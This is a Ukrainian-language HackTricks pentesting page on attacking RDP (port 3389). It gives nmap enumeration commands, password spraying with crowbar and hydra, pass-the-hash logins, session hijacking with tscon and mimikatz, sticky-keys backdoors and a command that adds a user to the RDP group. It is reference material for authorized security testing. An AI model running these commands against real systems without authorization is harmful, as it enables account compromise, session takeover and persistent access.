131 lines
8.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 3389 - Pentesting RDP
{{#include ../banners/hacktricks-training.md}}
## Основна інформація
Розроблений компанією Microsoft, **Remote Desktop Protocol** (**RDP**) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта **RDP**, а одночасно віддалений комп'ютер повинен працювати з програмним забезпеченням сервера **RDP**. Ця конфігурація дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично перенісши його інтерфейс на локальний пристрій користувача.
**Порт за замовчуванням:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Перерахування
### Автоматичний
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
Він перевіряє доступне шифрування та вразливість до DoS (без викликання DoS для служби) і отримує інформацію про NTLM Windows (версії).
### [Brute force](../generic-hacking/brute-force.md#rdp)
**Будьте обережні, ви можете заблокувати облікові записи**
### **Password Spraying**
**Будьте обережні, ви можете заблокувати облікові записи**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Підключення з відомими обліковими даними/хешем
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### Перевірка відомих облікових даних на сервісах RDP
rdp_check.py з impacket дозволяє перевірити, чи є деякі облікові дані дійсними для сервісу RDP:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
## **Атаки**
### Вкрадення сесій
З **права SYSTEM** ви можете отримати доступ до будь-якої **відкритої RDP-сесії будь-якого користувача** без необхідності знати пароль власника.
**Отримати відкриті сесії:**
```
query user
```
**Доступ до вибраної сесії**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Тепер ви будете всередині вибраної сесії RDP і зможете видавати себе за користувача, використовуючи лише інструменти та функції Windows.
**Важливо**: Коли ви отримуєте доступ до активних сесій RDP, ви виведете користувача, який її використовував.
Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в блокноті без збереження на диску, інші сесії RDP, відкриті на інших машинах...)
#### **Mimikatz**
Ви також можете використовувати mimikatz для цього:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
Поєднуючи цю техніку з **stickykeys** або **utilman**, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час.
Ви можете шукати RDP, які вже були зламані за допомогою однієї з цих технік, за адресою: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
Якщо хтось з іншого домену або з **кращими привілеями входить через RDP** на ПК, де **ви є адміністратором**, ви можете **впровадити** свій маяк у його **процес RDP-сесії** і діяти як він:
{{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
{{#endref}}
### Adding User to RDP group
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Автоматичні інструменти
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** - це фреймворк після експлуатації, створений на Powershell, призначений в основному для автоматизації атаки **Shadow** на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику **переглядати робочий стіл жертви без її згоди** і навіть контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- Контролювати мишу та клавіатуру автоматизованим способом з командного рядка
- Контролювати буфер обміну автоматизованим способом з командного рядка
- Створити SOCKS-проксі з клієнта, який каналує мережеву комунікацію до цілі через RDP
- Виконувати довільні команди SHELL та PowerShell на цілі без завантаження файлів
- Завантажувати та скачувати файли до/з цілі, навіть коли передача файлів на цілі вимкнена
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
Цей інструмент дозволяє виконувати команди на RDP жертви **без необхідності графічного інтерфейсу**.
## HackTricks Автоматичні команди
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
{{#include ../banners/hacktricks-training.md}}